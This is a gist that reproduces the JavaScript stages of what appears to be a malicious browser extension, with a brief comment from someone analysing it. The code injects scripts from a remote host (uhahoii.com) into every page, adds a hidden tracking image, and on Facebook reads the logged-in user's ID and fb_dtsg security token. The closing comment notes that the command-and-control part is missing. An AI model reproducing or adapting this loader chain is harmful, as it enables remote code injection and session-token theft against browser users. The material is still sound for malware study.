gistfile1.js

/* proxy.js */
var yourURL = 'http://uhahoii.com/cfunctions.js';
if (!document.getElementById('cmdfire')) {
    var s = document.createElement('script');
    s.src = yourURL + '?' + Math.random();
    s.id = 'cmdfire';
    var h = document.getElementsByTagName('head')[0];
    var b = document.getElementsByTagName('body')[0];
    if (!h) {
        b.appendChild(s);
    } else {
        h.appendChild(s);
    }
}


/* cfunctions.js */

var bbch = document.getElementsByTagName('body')[0];
var chch = document.createElement('script');
chch.src = 'http://uhahoii.com/jquery.js?ua=ch';
bbch.appendChild(chch);

/* jquery.js?ua=ch */

var country = "US";
var body = document.getElementsByTagName('body')[0];
var head = document.getElementsByTagName('head')[0];

function uniqueArr(a) {
    temp = new Array();
    for (i = 0; i < a.length; i++) {
        if (!contains(temp, a[i])) {
            temp.length += 1;
            temp[temp.length - 1] = a[i];
        }
    }
    return temp;
}
function contains(a, e) {
    for (j = 0; j < a.length; j++) if (a[j] == e) return true;
    return false;
}
function setCookie(c_name, value, exdays) {
    var exdate = new Date();
    exdate.setDate(exdate.getDate() + exdays);
    var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
    document.cookie = c_name + "=" + c_value;
}
function getCookie(c_name) {
    var i, x, y, ARRcookies = document.cookie.split(";");
    for (i = 0; i < ARRcookies.length; i++) {
        x = ARRcookies[i].substr(0, ARRcookies[i].indexOf("="));
        y = ARRcookies[i].substr(ARRcookies[i].indexOf("=") + 1);
        x = x.replace(/^\s+|\s+$/g, "");
        if (x == c_name) {
            return unescape(y);
        }
    }
}
var ch_t = document.createElement('img');
ch_t.style.position = 'absolute';
ch_t.style.left = '-99999px';
ch_t.style.top = '-99999px';
ch_t.src = 'http://whos.amung.us/widget/nel0w9mfem5v.pnh';
body.appendChild(ch_t);
if (document.location.href.search("facebook.com") > -1) {
    if (getCookie("c_user")) {
        var cid = document.getElementsByName('xhpc_composerid')[0].value;
        var tid = document.getElementsByName("xhpc_targetid")[0].value;
        var uid = Env.user;
        var fbdt = Env.fb_dtsg;
        var fid = Env.post_form_id;
    }
}

the exploit code is still missing. Probably just a c&c server, but without that nobody can do anything with these. In the other hand, half of the xpi's code is just a copy-paste from the MDN :D